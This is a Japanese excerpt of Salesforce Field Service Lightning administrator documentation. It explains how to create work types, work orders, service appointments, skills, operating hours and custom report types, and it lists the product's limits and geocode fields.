[状況のカテゴリ] 項目は、カスタムアプリケーション、トリガ、および入力規則を参照する場合に便利で
す。状況カテゴリでは、追跡、レポート、ビジネスプロセス管理の一貫した作業分類を維持しながら、作
業のライフサイクルを拡張およびカスタマイズできます。

7. チームがナレッジ記事を作業指示または作業指示品目に添付できるようにするには、[記事] 関連リストと
Knowledge One コンソールコンポーネントをレイアウトに追加します。

メモ: 組織にすでにナレッジが設定されている必要があります。
a. ユーザがコンソールからリンク済み記事を表示および変更できるようにするには、[設定] の作業指示

ページレイアウトに移動します。レイアウトエディタで、[カスタムコンソールコンポーネント] を選択
して、Knowledge One ウィジェットをコンソールサイドバーに追加します (推奨)。

b. ユーザが作業指示の詳細ページからリンク済み記事を表示および変更できるようにするには、作業指示
の詳細ページレイアウトに [記事] 関連リストを追加します (推奨)。

c. ユーザがナレッジ記事を作業指示品目に添付できるようにするには、作業指示品目レイアウトに対して
上記の 2 つのステップを実行します。
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作業種別の作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

作業種別を作成する
• 作業種別に対する「作

成」

作業種別を作業指示また
は作業指示品目に適用す
る
• 作業指示に対する「編

集」

ビジネスにおいて同じ ToDo を複数の顧客に実行している場合があります。作業
種別とは作業指示テンプレートのことで、これを使用すれば効率化やフィール
ドサービス作業の標準化が容易になります。
1. [作業種別] タブで、[新規] をクリックします。
2. 名前と説明を入力します。その作業種別からどのような種類の作業指示が作

成されるのかがすぐにわかるような名前を使用してください。たとえば、
「年 1 回の冷蔵庫メンテナンス」や「バルブ交換」のようにします。

3. [予想所要時間]  (予想作業時間) と [所要時間種別]  ([分] または [時間]) を追加
します。

4. この作業種別を使用する作業指示または作業指示品目に対してサービス予約
を自動作成する場合は、[サービス予約を自動作成] を選択します。

メモ: デフォルトでは、自動作成されたサービス予約の [期日] は作成日
から 7 日後です。このオフセットは、システム管理者が [設定] の [Field

Service 設定] ページから調整できます。

5. [保存] をクリックします。
6. 作業種別で表される ToDo で特定のスキルまたは認定が必要な場合、[スキル

要件] 関連リストで定義します。
a. 関連リストで、[新規スキル要件] をクリックします。
b. スキルを選択します。スキルは、必須スキルとして追加する前に作成す

る必要があります。方法についての詳細は、「スキルの作成」を参照し
てください。

c. ビジネスでのスキルレベルの測定方法に基づいて、0 ～ 99.99 のスキルレベルを入力します。
d. [保存]をクリックします。これで、作業種別にリンクされた作業指示または作業指示品目でこれらの必

須スキルが継承されるようになります。

7. 作業種別を作業指示または作業指示品目に適用するには、レコードの [作業種別]参照項目で作業種別を選
択します。作業種別を追加すると、作業指示または作業指示品目で作業種別の期間値と必須スキルが継承
されます。

メモ:

• 必要に応じて、作業種別から継承後に、作業指示または作業指示品目の期間値と必須スキルを更新
できます。

• 作業指示または作業指示品目にすでに必須スキルがある場合、それらを作業種別に関連付けても作
業種別の必須スキルは継承されません。

• 必須スキルへのカスタマイズ (入力規則や Apex トリガなど) は、作業種別から作業指示または作業
指示品目に継承されません。
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例: あなたは窓の取り付けを頻繁に行う窓会社のオーナーであるとします。窓の取り付けには通常 90 分
かかります。作業種別は次の設定で作成できます。
• 名前: 窓の取り付け
• 説明: 1 枚または 2 枚枠の窓の標準取り付け
• 推定所要時間: 90

• 所要時間種別: 分
• スキル要件:

– スキルレベル 50 の「窓の取り付け」
– スキルレベル 10 の「窓ふき」

• サービス予約を自動作成するオプションが選択されている
顧客が窓の取り付けを必要としている場合は、作業指示を作成し、[作業種別] 参照項目で [窓の取り付
け] 作業種別を選択します。これにより、作業指示の期間とスキル値が自動入力され、作業指示のサー
ビス予約が自動作成されます。効率化万歳ですね。

関連トピック:

作業指示の使用に関するガイドライン
作業種別の項目

作業指示の作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

作業指示を作成またはコ
ピーする
• 作業指示に対する「作

成」

作業指示品目を作成する
• 作業指示に対する「編

集」

作業指示を作成し、顧客に対して実行する作業を追跡します。
作業指示は、サポートされているオブジェクトの [作業指示] タブまたは [作業指
示] 関連リストで作成および編集できます。ページレイアウト設定と項目レベル
セキュリティ設定によっては、次の設定の一部が表示できません。
1. レコードの [作業指示] タブまたは [作業指示] 関連リストで、[新規] をクリッ

クします。
2. 必要に応じて、作業種別を選択します。作業種別は、作業指示の [期間] 項

目および [期間種別] 項目と [スキル要件] 関連リストを自動的に入力するテ
ンプレートです。

3. 作業指示が実行される住所を入力します。作業指示は、関連付けられた取引
先の住所を継承します。作業指示のサービス予約と品目はその住所を継承し
ます。ただし、品目の住所は更新できます。

4. 関連付けられた取引先と取引先責任者を選択します。
5. 該当する場合は、親作業指示を選択します。
6. 該当する場合は、関連付けられたケースを選択します。
7. 必要に応じて、価格表を選択します。これで、作業指示品目ごとに対応する

価格表エントリ (商品) を選択できるようになります。
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8. 作業指示の価格設定を追跡する場合は、税額を入力します。たとえば、合計金額が $200 の作業指示の場
合、10 パーセントの税金を適用するには「20」と入力します。通貨記号を使用して、または使用せずに数
値を入力できます。また、小数点以下の桁数は最大 2 桁です。

9. 優先度レベルを選択します。
10. 作業指示が実行されるサービステリトリーを選択します。
11. 期間を入力し、期間種別を選択します。期間が 3 で、期間種別が [時間] の場合、作業指示の完了予定時

間は 3 時間になります。
12. 作業指示に顧客の納入商品が含まれている場合、[納入商品] 項目に追加します。
13. 件名と説明を追加します。完了させる作業の特性および目的を説明するような件名にしてください。
14. [保存] をクリックします。
15. 必要に応じて、作業指示の関連リストで詳細を追加します。

a. [作業指示品目] 関連リストで品目を作成します。作業指示品目は、作業指示を完了するために技術者が
実施する必要のある具体的な ToDo を表します。これらは 1 つずつ完了とマークでき、それぞれに独自の
有効なサービス予約を設定できます。割引や単価などの価格設定の詳細は、作業指示の品目名レベルで
設定されます。

b. [スキル要件] 関連リストで、作業指示を完了するために必要なスキルを指定します。詳細は、「作業指
示または作業種別への必須スキルの追加」を参照してください。

c. [サービス予約] 関連リストで、サービス予約を作成します。サービス予約では、サービス人員を割り当
てて、スケジュールの詳細を追加します。作業指示と作業指示品目には、複数のサービス予約を追加で
きます。

メモ: 関連付けられた作業種別で [サービス予約を自動完了]が選択されている場合、作業指示の作
成時にサービス予約が自動的に作成されます。
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作業指示での優先サービス人員の選択

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

取引先の人員設定を作成
する
• 取引先に対する「編

集」

作業指示の人員設定を作
成する
• 作業指示に対する「編

集」

特定の取引先または作業指示で特定の人員を優先、必須、または除外と指定で
きます。作業指示は、関連付けられた取引先の人員設定を継承します。
[人員設定] 関連リストを使用して、取引先または作業指示に設定を追加します。
サービス人員を選択し、設定レベルを選択して変更を保存します。

メモ: 無効なサービス人員または派遣担当者であるサービス人員の設定は
追加できません。

人員設定は、要件というよりも提案として機能します。関連付けられた作業指
示の人員設定に関わらず、任意の人員をサービス予約に割り当てることができ
ます。
取引先レベルで人員設定を定義したくない場合、必要に応じて個々の作業指示
で人員設定を作成することもできます。

例:

• 顧客である ABC Labs がサービス人員の山田さんの対応に好感を持った場
合、山田さんを「優先」と指定した ABC Labs 取引先の人員設定を作成で
きます。

• ABC Labs がサービス人員の小川さんの対応を不満に感じた場合、小川さ
んを「除外」と指定した ABC Labs 取引先の人員設定を作成できます。

• ABC Labs がサービス人員の田中さんによって導入された難易度の高い機
器を購入した場合、田中さんを「必須」と指定した ABC Labs 取引先の人
員設定を作成できます。

ABC Labs の作業指示が作成されるときに、この 3 つの設定が自動的にリスト
されます。作業指示をスケジュールするときに、派遣担当者は対応するサー
ビス予約を田中さんに割り当て、2 人目の技術者が必要な場合は山田さん
が対応可能であれば山田さんに割り当てます。派遣担当者は、この取引先
のサービス予約には小川さんを割り当ててはいけないこともわかります。
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サービス予約の作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

サービス予約を作成する
• サービス予約に対する

「作成」

サービス予約を使用すると、顧客向けに実施するフィールドサービス作業を追
跡しやすくなります。サービス予約は複数のレコードタイプに関連付けること
ができます。
サービス予約は、作業指示、作業指示品目、商談、取引先、納入商品に追加で
きます。サービス予約を作成する手順は、次のとおりです。
1. 予約が関連付けられたレコードに移動します。
2. [サービス予約] 関連リストで、[新規サービス予約] をクリックします。
3. [一般情報] セクションに入力します。

a. 予約の件名と説明を追加します。
b. 必要に応じて、期間を更新します。親レコードが作業指示または作業指

示品目の場合、予約は親の期間を継承します。
c. [許容最早開始日]項目および [期日]項目を入力します。この 2 つの項目

を合わせて、予約を完了する必要のある期間を表します。通常、これら
の項目は顧客のサービスレベル契約の条件を表します。

4. [予定時間] セクションに入力します。
a. スケジュール済み開始時間とスケジュール済み終了時間を追加します。

Field Service Lightning 管理パッケージとスケジュールオプティマイザを使用している場合、これらの項目
は予約のスケジュール時に入力されます。

b. 技術者の現場到着予定期間を定義します。遅延やスケジュールの変更に対応できるように、この期間は
通常、[スケジュール済み開始時間] と [スケジュール済み終了時間] の期間よりも長くなります。[到着期
間の開始] と [到着期間の終了] は顧客と共有して、[スケジュール済み開始時間] と [スケジュール済み終
了時間] は内部のみに制限することができます。

5. [割り当て済み人員] 関連リストでサービス人員を予約に割り当てます。親レコードが作業指示、作業指示
品目、または取引先の場合、親の人員設定を確認します。

メモ: 派遣担当者であるサービス人員は、サービス予約に割り当てることはできません。

6. 予約の開始時間と終了時間を示すために、予約の完了時に技術者に [実際の時間] セクションに入力しても
らいます。また、技術者は、割り当てられた人員レコードの [実際の移動時間] 項目に予約への移動にか
かった分数を入力できます。

メモ: サービス予約は、[サービス予約] タブから作成することもできます。

関連トピック:

サービス予約の使用に関するガイドライン
サービス予約の項目
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フィールドサービスのスキルの設定
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

サービス人員にスキルを割り当て、その人員が実行できる作業種別を示します。
特定のスキルを持つ人員のみが作業に割り当てられるように、必須スキルを作
業指示および作業種別に追加することもできます。

1. スキル設定の定義
スキルを作成する前に、スキル関連リストをフィールドサービスページレイ
アウトに追加し、スキルを参照および作成できるユーザを指定します。

2. スキルの作成
スキルを使用するには、まず組織の基本スキルを作成します。スキルをサー
ビス人員に割り当てたり、作業指示や作業種別で必須としてマークしたりす
る場合、スキルレベルや期間などの詳細を追加できます。

3. サービス人員へのスキルの割り当て
スキルをサービス人員に割り当て、その人員の認定と専門分野を示します。

4. 作業指示または作業種別への必須スキルの追加
必須スキルを作業指示、作業指示品目、または作業種別に追加し、適切なスキルを持つサービス人員が割
り当てられるようにします。

スキル設定の定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

ページレイアウトを編集
する
• 「アプリケーションの

カスタマイズ」

ユーザを作成および編集
する
• 「内部ユーザの管理」

スキルを作成する前に、スキル関連リストをフィールドサービスページレイア
ウトに追加し、スキルを参照および作成できるユーザを指定します。

メモ: Field Service Lightning が組織で有効になっている必要があります。
1. ページレイアウトをカスタマイズします。

a. 作業種別で必須スキルを指定できるようにするには、作業種別のページ
レイアウトに [スキル要件] 関連リストを追加します。

b. 作業指示で必須スキルを指定できるようにするには、作業指示のページ
レイアウトに [スキル要件] 関連リストを追加します。

c. 作業指示品目で必須スキルを指定できるようにするには、作業指示品目
のページレイアウトに [スキル要件] 関連リストを追加します。

d. サービス人員にスキルを割り当てられるようにするには、サービス人員
のページレイアウトに [スキル] 関連リストを追加します。

2. ユーザ権限を割り当てます。

必要な権限ユーザが実行する操作

「アプリケーションのカスタマイズ」Field Service Lightning の有効化

「アプリケーションのカスタマイズ」[設定] でスキルを作成、更新、およ
び削除する
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必要な権限ユーザが実行する操作

サービス人員に対する「編集」サービス人員にスキルを割り当てる

サービス人員に対する「参照」人員のスキルを参照する

作業指示、作業指示品目、または作業種別に対する
「編集」

必須スキルを作業指示、作業指示品目、または作業
種別に追加する

作業指示、作業指示品目、または作業種別に対する
「参照」

作業指示、作業指示品目、または作業種別の必須ス
キルを参照する

3. スキルレベルの判別方法を決定します。
サービス人員、または作業指示、作業指示品目、作業種別に割り当てられたスキルには、0 ～ 99.99 のスキ
ルレベルを指定できます。たとえば、次のような操作が可能です。
• [スキルレベル] 項目を使用して、経験年数を示す。
• 専門職資格の階級をスキルレベルの数値に対応付けるマトリックスを作成する。

ヒント:

• 選択できるスキルレベルの値を制限するには、検証ルール (10 の倍数のみを許可するルールなど) を
作成します。

• ユーザにスキルレベルの判別方法を知らせる、項目レベルのヘルプを作成します。

スキルの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

スキルを作成する
• 「アプリケーションの

カスタマイズ」

スキルを使用するには、まず組織の基本スキルを作成します。スキルをサービ
ス人員に割り当てたり、作業指示や作業種別で必須としてマークしたりする場
合、スキルレベルや期間などの詳細を追加できます。
1. [設定] から、[クイック検索] ボックスに「スキル」と入力し、[Field Service] で

[スキル] を選択します。
2. 名前を入力します。たとえば、「Electrician Certification」(電気技

術者認定) と入力します。
3. 説明を入力します。
4. [ユーザの割り当て] セクションと [プロファイルの割り当て] セクションは Live

Agent に固有であるため、スキップします。
5. [保存] をクリックします。

これで、スキルをサービス人員に割り当てたり、作業種別、作業指示、およ
び作業指示品目で必須としてリストしたりできるようになります。

関連トピック:

フィールドサービスのスキルの項目
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サービス人員へのスキルの割り当て

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

スキルを人員に割り当て
る
• サービス人員に対する

「編集」

スキルをサービス人員に割り当て、その人員の認定と専門分野を示します。
1. スキルを割り当てる必要のある人員に移動します。
2. [スキル] 関連リストで、[新規サービス人員スキル] をクリックします。
3. スキルを選択します。スキルは、人員に割り当てる前に作成しておく必要が

あります。方法についての詳細は、「スキルの作成」を参照してください。
4. ビジネスでのスキルレベルの測定方法に基づいて、0 ～ 99.99 のスキルレベル

を入力します。
5. 開始日と、必要に応じて終了日を入力します。たとえば、特定のスキルで技

術者を 6 か月ごとに再認定する必要がある場合、終了日 (開始日の 6 か月後)

を入力できます。
6. [保存] をクリックします。これで人員のスキルが [スキル] 関連リストに表示

されます。

ヒント: 人員のスキルを簡単に追跡できるように、人員の詳細ページの [ファ
イル] セクションでライセンスおよび認定の写真をアップロードします。

関連トピック:

フィールドサービスのスキルの項目

作業指示または作業種別への必須スキルの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

必須スキルを作業指示、
作業指示品目、または作
業種別に追加する
• 作業指示、作業指示品

目、または作業種別に
対する「編集」

必須スキルを作業指示、作業指示品目、または作業種別に追加し、適切なスキ
ルを持つサービス人員が割り当てられるようにします。
作業指示または作業指示品目を完了できるのが特定のスキルセットを持つサー
ビス人員のみである場合、レコードに必須スキルを追加します。必須スキルに
よって、派遣担当者はレコードを適切な専門知識を持つサービス人員に割り当
てることができます。作業指示、作業指示品目、または関連サービス予約を、
必須スキルを持たないサービス人員に割り当てることもできるため、必須スキ
ルはルールというよりも提案として使用されます。

メモ: Field Service Lightning 管理パッケージを使用している場合、一致ルール
を使用して、親作業指示にリストされている必須スキルを持つサービス人
員のみに予約が割り当てられるようにすることができます。

多数の作業指示に同じスキルが必要な場合、時間を節約してプロセスの一貫性
を保つため、必須スキルを作業種別に追加することをお勧めします。必須スキ
ルを作業種別に追加すると、その種別を使用する作業指示と作業指示品目は自
動的に必須スキルを継承します。たとえば、冷蔵庫商品の年 1 回のメンテナン
スにはスキルレベルが 50 以上の冷蔵庫メンテナンススキルが必要な場合、その
必須スキルを「年 1 回の冷蔵庫メンテナンス」作業種別に追加できます。顧客
の年 1 回の冷蔵庫メンテナンスの作業種別を作成するときに、その作業種別を
作業指示に追加すると、必須スキルも追加されます。
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メモ:

• 作業種別から作業指示を作成すると、その作業種別の必須スキルが継承されますが、後でその作業指
示の必須スキルを追加または削除できます。

• 作業種別の必須スキルを変更しても、その作業種別から作成された作業指示の必須スキルには影響し
ません。

• 既存の作業指示に作業種別を追加すると、その作業指示にまだ必須スキルがない場合にのみ、作業種
別の必須スキルが継承されます。作業指示品目についても同様です。

• 作業指示品目は、親作業指示の必須スキルを継承しません。

必須スキルを作業指示、作業指示品目、または作業種別に追加する手順は、次のとおりです。
1. 必須スキルが必要なレコードに移動します。
2. [スキル要件] 関連リストで、[新規スキル要件] をクリックします。
3. スキルを選択します。スキルは、要件として追加する前に作成しておく必要があります。その方法につい

ては、「スキルの作成」を参照してください。
4. ビジネスでのスキルレベルの測定方法に基づいて、0 ～ 99.99 のスキルレベルを入力します。
5. [保存] をクリックします。スキルがレコードの [スキル要件] 関連リストに表示されます。

関連トピック:

フィールドサービスのスキルの項目
作業指示の使用に関するガイドライン
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業務時間の作成
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

業務時間を作成する
• 業務時間に対する「作

成」

業務時間をサービス人員
に割り当てる
• サービス人員に対する

「編集」

業務時間をサービステリ
トリーに割り当てる
• サービステリトリーに

対する「編集」

業務時間を取引先に割り
当てる
• 取引先に対する「編

集」

業務時間を定義して、サービステリトリー、サービステリトリーメンバー、ま
たは取引先に割り当て、フィールドサービス時間を指定します。

メモ:

• デフォルトでは、業務時間の表示、作成、および割り当てができるのは
システム管理者のみです。

• サービス人員の時間は作業しているテリトリーによって異なるため、業
務時間はサービス人員の詳細ページにリストされません。特定のテリト
リーのサービス人員の業務時間を表示するには、[サービステリトリー]

関連リストに移動し、テリトリーの [メンバー数] をクリックします。こ
れにより、サービステリトリーメンバーの詳細ページが表示されます。
このページには、メンバーがそのテリトリーに属している間の業務時間
と日付がリストされます。

• Field Service Lightning 管理パッケージを使用している場合、スケジュール
オプティマイザは、サービス人員のテリトリーメンバーレコードにリス
トされている業務時間内に収まるサービス予約にのみ人員を割り当てま
す。管理パッケージを使用していない場合、業務時間はルールではなく
推奨事項として機能します。

1. [業務時間] タブをクリックし、[新規] をクリックします。
2. 名前、説明、およびタイムゾーンを入力します。
3. [保存] をクリックします。
4. 業務時間の [時間枠] 関連リストで、各日の時間枠を作成します。たとえば、

業務時間が月曜日～金曜日の午前 8 時～午後 5 時の場合、1 日あたり 1 個、全
体で 5 個の時間枠を作成します。昼休みなどの休憩を反映するには、1 日に
複数の時間枠を作成します。たとえば、月曜日午前 8 時～ 午後 12 時と月
曜日午後 1 時～ 5 時となります。1 日 24 時間、週 7 日の業務時間を確立す
るには、各曜日の時間枠を作成し、午前 12 時に始めて午後 11 時 59 分に終了
します。

ヒント: 時間枠は組み込みルールには含まれていませんが、組織の時間枠設定を制限する Apex トリガ
を作成できます。たとえば、時間枠の開始時間と終了時間の増分を 30 分に制限したり、午後 8 時以降
の終了時間を禁止したりできます。

5. 業務時間を 1 つ以上のサービステリトリーに割り当てます。
a. サービステリトリーの詳細ページに移動します。
b. テリトリーの詳細ページの [業務時間] 参照項目で目的の時間を選択し、変更を保存します。

6. 必要に応じて、業務時間を 1 つ以上のサービステリトリーメンバーに割り当てます。
サービステリトリーメンバー (テリトリー内で作業できるサービス人員) には、自動的にサービステリトリー
の業務時間が使用されます。人員が、自分のテリトリーとは異なる業務時間を必要とする場合は、[業務時
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間] タブで別の業務時間を作成します。次に、サービステリトリーメンバーの詳細ページの [業務時間] 参
照項目で目的の時間を選択します。

メモ: 人員の業務時間がテリトリーの時間と類似している場合、人員の業務時間ではテリトリーの時
間と異なる日の時間枠のみが必要となります。たとえば、人員のテリトリーの時間が月曜日～金曜日
の午前 8 時～午後 5 時だが、人員の金曜日の作業時間は午前 10 時～午後 7 時だとします。人員の業務
時間を作成するときは、金曜日の午前 10 時～午後 7 時という 1 つの時間枠のみを作成します。月曜
日～木曜日にはそのテリトリーの時間枠が自動的に使用され、金曜日には独自の特別な時間枠が使用
されます。

7. 必要に応じて、取引先詳細ページの [業務時間]参照項目で業務時間を 1 つ以上の取引先に割り当てます。
取引先の業務時間により、派遣担当者は取引先のサービス予約をスケジュールするタイミングを把握でき
ます。たとえば、技術者が月曜日～金曜日の午前 8 時～正午にのみ ABC Labs のオフィスに訪問できる場合、
この設定を反映する業務時間を作成できます。

関連トピック:

業務時間の項目
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Field Service Lightning レポートの作成
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

• Field Service Lightning 機
能を使用可能なエディ
ション: Enterprise
Edition、Performance
Edition、Unlimited
Edition、および
Developer Edition
(Service Cloud 付属)。作
業指示は Professional
Edition でも使用できま
す。

• 有料オプションで Field
Service Lightning 管理
パッケージを使用可能
なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、およ
び Developer Edition
(Service Cloud 付属)。

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

公開レポートフォルダを
作成する
• 「公開レポートの管

理」

レポートタイプを作成し、組織のフィールドサービスの進捗状況を追跡します。
多種多様なカスタムレポートタイプを作成して、フィールドサービスレコード
に関する情報を常に把握できます。
1. [設定] から、[クイック検索] ボックスに「レポートタイプ」と入力し、[レポー

トタイプ] を選択して、[新規カスタムレポートタイプ] をクリックします。
2. [主オブジェクト] ドロップダウンメニューで、レポートを作成するフィール

ドサービスオブジェクトを選択します。

使用可能な第 2 オブ
ジェクト

説明主オブジェクト

サービステリトリー
時間枠

サービステリトリーとそ
のメンバーの営業時間を
表示します。

業務時間

割り当て済み人員予定予約時間と実際の予
約時間の差異を比較し、
予約での人員割り当ての
トレンドを分析します。

サービス予約

割り当て済み人員
人員不在
人員業務量
人員設定
サービス人員スキル
サービステリトリーメン
バー

サービス人員の業務量、
不在、およびスキルを比
較し、属するテリトリー
と、割り当てられている
サービス予約を表示しま
す。さらに、人員を優先
としてリストしている取
引先と作業指示を確認で
きます。

サービス人員

サービス予約
サービステリトリーメン
バー
作業指示
品目

サービステリトリー全体
にわたってサービス予
約、作業指示、および作
業指示品目の数と種類を
比較し、各テリトリーに
属するサービス人員を表
示します。

サービステリトリー

人員設定
サービス予約

予約数、作業指示あたり
の品目数、作業指示の
サービステリトリーなど

作業指示

スキル要件の情報を比較します。さ
作業指示品目らに、人員設定とスキル

要件が作業指示によって
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使用可能な第 2 オブジェクト説明主オブジェクト

どう変わるかを分析します。

サービス予約
スキル要件

作業指示品目の所有者、所要時
間、件名などの情報を比較し、作
業指示品目に関連付けられている

作業指示品目

サービス予約とスキル要件を表示
します。

スキル要件作業種別の所要時間やスキル要件
などの情報を比較します。

作業種別

フィールドサービスオブジェクト:

人員設定
取引先の人員設定と作業指示を比
較します。

取引先

作業指示

フィールドサービスオブジェクト:

作業指示
納入商品に関連付けられている作
業指示の数と特性を比較します。

納入商品

フィールドサービスオブジェクト:

作業指示
ケースに関連付けられている作業
指示の数と特性を比較します。

ケース

フィールドサービスオブジェクト:

サービス予約
取引先責任者に関連付けられてい
るサービス予約と作業指示を分析
します。

取引先責任者

作業指示

フィールドサービスオブジェクト:

作業指示
エンタイトルメントに関連付けら
れている作業指示の数と特性を比
較します。

エンタイトルメント

フィールドサービスオブジェクト:

作業指示
サービス契約に関連付けられてい
る作業指示の数と特性を比較しま
す。

サービス契約

3. 必要な項目を入力して [次へ] をクリックします。

ヒント: [カテゴリに格納] ドロップダウンメニューでは、[カスタマーサポートレポート] または [その
他のレポート]を選択することをお勧めします。このカテゴリでは、[レポート] タブでカスタムレポー
トタイプを検索します。独自のフィールドサービスレポートフォルダを作成することもできます。[レ
ポートレコードセットを定義] ページで必要な選択を行います。

4. [保存] をクリックします。
5. 必要に応じて、レポートレイアウトから項目を削除し、並び替えます。
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Field Service Lightning 管理パッケージの設定
エディション

Salesforce Classic で使用可
能

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

Field Service Lightning管理パッケージは Salesforce の標準フィールドサービス機能で
構築され、派遣担当者と技術者に豊富で高度にカスタマイズ可能な機能を提供
します。
Field Service Lightningを実装するときに、使用する機能を選択します。ほとんどの
機能は Field Service Lightning が組織で有効化されると使用可能になりますが、2 つ
のField Service Lightning管理パッケージをインストールすることもできます。管理
パッケージには次のツールが付属されています。
• 技術者のスキルレベル、移動時間、場所、その他の要素を管理し、最も効率

的な方法で予約に人員を割り当てる、スケジュールオプティマイザ
• スケジュールされたすべてのサービス予約の概観ビューを派遣担当者とスー

パーバイザに提供する、動的なスケジュール設定コンソール
• 理想的なスケジュール設定モデルの定義に使用できる、作業ルールおよびス

ケジュール設定ポリシーの堅牢なツールボックス
• スケジュール設定と表示設定を簡単にカスタマイズできる、標準トリガ
管理パッケージをインストールおよび設定する方法についての詳細は、『Field Service Lightning Managed Packages

Guide』を参照してください。管理パッケージのリリースノートを確認するには、「Field Service Lightning 管理
パッケージの使用開始」を参照してください。

Field Service Lightning の考慮事項

Field Service Lightning を設定する前に、その機能に関する次の重要な考慮事項を確認してください。

Field Service Lightning の制限事項
Field Service Lightning の制限事項について説明します。
Field Service Lightning での場所の追跡
特定タイプのフィールドサービスレコードに町名・番地を追加すると、Salesforce でその住所の緯度、経度、
および位置精度が計算されます。API でのみ表示可能なこのデータを、カスタムのフィールドサービスアプ
リケーションで参照できます。
作業指示の使用に関する考慮事項
ビジネスを円滑に遂行するために作業指示をどのように使用でき、どのように使用すべきかについてのイ
ンサイトを得ることができます。
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Field Service Lightning の制限事項
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

• Field Service Lightning 機
能を使用可能なエディ
ション: Enterprise
Edition、Performance
Edition、Unlimited
Edition、および
Developer Edition
(Service Cloud 付属)。作
業指示は Professional
Edition でも使用できま
す。

• 有料オプションで Field
Service Lightning 管理
パッケージを使用可能
なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、およ
び Developer Edition
(Service Cloud 付属)。

Field Service Lightning の制限事項について説明します。
リンク済み記事

リンク済み記事とは、作業指示または作業指示品目に添付されたナレッジ記
事のことです。次の制限事項があります。
• 記事ウィジェットとフィード記事ツールは、フィードビューでは使用で

きません。
• クイックアクションとグローバルアクションは、リンクされた記事では

サポートされていません。
• ナレッジホームページの記事ツールバーには、作業指示または作業指示

品目に記事を添付するオプションが含まれていません。
• Lightning Experience または Salesforce1 では、記事の [リンク済み作業指示] お

よび [リンク済み作業指示品目] 関連リストを使用できません。
• Lightning Experience および Salesforce1 では、リンク済み記事は参照のみで

す。
• Lightning Experience でフィード項目内の記事リンクをクリックすると、

Salesforce Classic の記事ページにリダイレクトされます。Salesforce1 では、
フィード項目からはリンクされた記事にアクセスできません。

業務時間
業務時間または時間枠のカスタム項目は作成できません。

サービステリトリー
• サービステリトリー階層には、最大で 500 件のテリトリーを含めることが

できます。
作業注文

• 作業指示階層には、最大で 10,000 件の作業指示を含めることができます。
• 作業指示品目階層には、最大で 10,000 件の作業指示品目を含めることができます。

Lightning Experience

Field Service Lightning 管理パッケージは、Lightning Experience では使用できません。
Salesforce1

Field Service Lightning の標準機能と管理パッケージは、Salesforce1 モバイルアプリケーションのすべてのバー
ジョンで使用できます。次の制限事項があります。
• Salesforce1  for iOS ダウンロード可能アプリケーションでは次の制限があります。

– サービス予約は作成できません。[最近] 関連リストは使用できません。
– 新しいサービス人員または人員の不在は作成できません。[最近] 関連リストはサービス人員または人

員の不在では使用できません。
• 関連リストから作成されたフィールドサービスレコードでは、レコードを保存するまで、親レコードを

表示する項目に入力が行われません。この問題は、Salesforce1 のすべてのバージョンで発生します。た
とえば、作業指示の [サービス予約] 関連リストでサービス予約を作成した場合、[保存] をタップするま
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で [親レコード] 項目は空白です。レコードが作成されると、親レコード項目に親作業指示が表示され
ます。

• 管理パッケージに含まれるディスパッチャコンソールは、Salesforce1 では使用できません。

Field Service Lightning での場所の追跡
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

特定タイプのフィールドサービスレコードに町名・番地を追加すると、Salesforce

でその住所の緯度、経度、および位置精度が計算されます。API でのみ表示可能
なこのデータを、カスタムのフィールドサービスアプリケーションで参照でき
ます。
「地理コード」と呼ばれるこの位置データ機能は、Field Service Lightningを有効化
すると、サポートされるすべてのフィールドサービスオブジェクトで有効化さ
れます。API では、作業指示、作業指示品目、サービス予約、サービステリト
リー、人員の不在、サービステリトリーメンバーに次の 3 つの項目の値があり
ます。

説明項目名

町名・番地の緯度。Latitude

町名・番地の経度。Longitude

緯度および経度の位置精度。この項目
には、次のいずれかの値が含まれま

GeocodeAccuracy

す。精度の高い順に表示されていま
す。
• Address  — 同じ建物内
• NearAddress  — 住所付近
• Block  — 街区の中間点
• Street  — 番地の中間点
• ExtendedZip  — 拡張郵便番号地域

の中心
• Zip  — 郵便番号地域の中心
• Neighborhood  — 近隣の中心
• City  — 市区郡の中心
• County  — 郡の中心
